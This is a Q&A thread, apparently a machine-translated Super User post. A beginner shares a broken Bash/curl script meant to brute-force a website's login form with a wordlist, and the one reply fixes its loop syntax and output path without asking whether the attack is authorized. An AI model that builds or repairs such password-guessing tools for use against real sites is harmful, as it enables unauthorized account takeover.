Я довольно новичок в Bash, но это сценарий, над которым я работал последние несколько дней. Он предназначен для запуска атаки по словарю на вход HTTP-POST для веб-сайта, читая модуль времени и отправляя запрос на вход на указанный веб-сайт каждые секунды, которые я установил. Однако я сталкиваюсь с проблемами.

echo -e "Initiating password cracking session...\n"
echo -e "Seconds per password attempt: \c"

read TIME

if [ "$TIME" -lt "2" ];
then
echo -e "Servers may block out attempts when initiated too frequently,     cracking session will begin anyways.\n"
fi

if [ "$TIME" -gt "2" ];
then
echo -e "Cracking session will take too long to initiate. Session will     continue anyways.\n"
fi

function control_c {
tput setaf 2; echo -en "                                                                Password     cracking session deactivated.\n"
exit $?
}

trap control_c SIGINT

for (( ; ; ))
do
url="https://examplewebsite.com/login"
echo -e "Username: \c"

read user

echo -e "Wordlist: \c"

read pass

for user do
  for pass in pass do
    http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)
    if [[ $http_code -eq 302 ]]; then
      echo "Success: User: '$user' Pass: '$pass'"
      break 2
    fi
 done
sleep $TIME
done
done

В качестве примечания, у меня абсолютно нулевые знания по cURL, и синтаксис, относящийся к cURL выше, является чисто тем, что я читал на других сайтах. Я получаю сообщение об ошибке: синтаксическая ошибка рядом с неожиданным токеном http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)' ./jmc.sh: line 36: http_code = $(curl -L -data user = "$ user" -data password = "$ pass" "$ url" -w'% {http_code} ' -o /root /Desktop -s)'

Что я делаю не так? Еще раз, я новичок как в Bash, так и в cURL, поэтому, пожалуйста, прости меня, если мой сценарий, кажется, выходит за рамки.

1 ответ1

0

Короче говоря, я намеренно не упоминаю (много) вещей, которые вы "должны" или "не должны", просто сосредоточиться на синтаксической ошибке.

  • для пользователя do: for в этом контексте должен быть в формате для переменной loop_ в списке ; делать (хотя я не вижу, что вы хотели бы иметь цикл здесь)
  • для pass in pass do: так же, как и в предыдущей строке, точка с запятой отсутствует (или, если вам не нравятся точки с запятой, вы можете написать do в следующей строке (но я также не вижу причин возникновения цикла здесь)

Кроме того, я должен упомянуть одну вещь: -o /root /Desktop будет означать «поместить вывод в файл с именем /root /Desktop ». Я думаю, у вас уже есть каталог с таким именем, поэтому вы должны дать файлу что-то другое ..

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .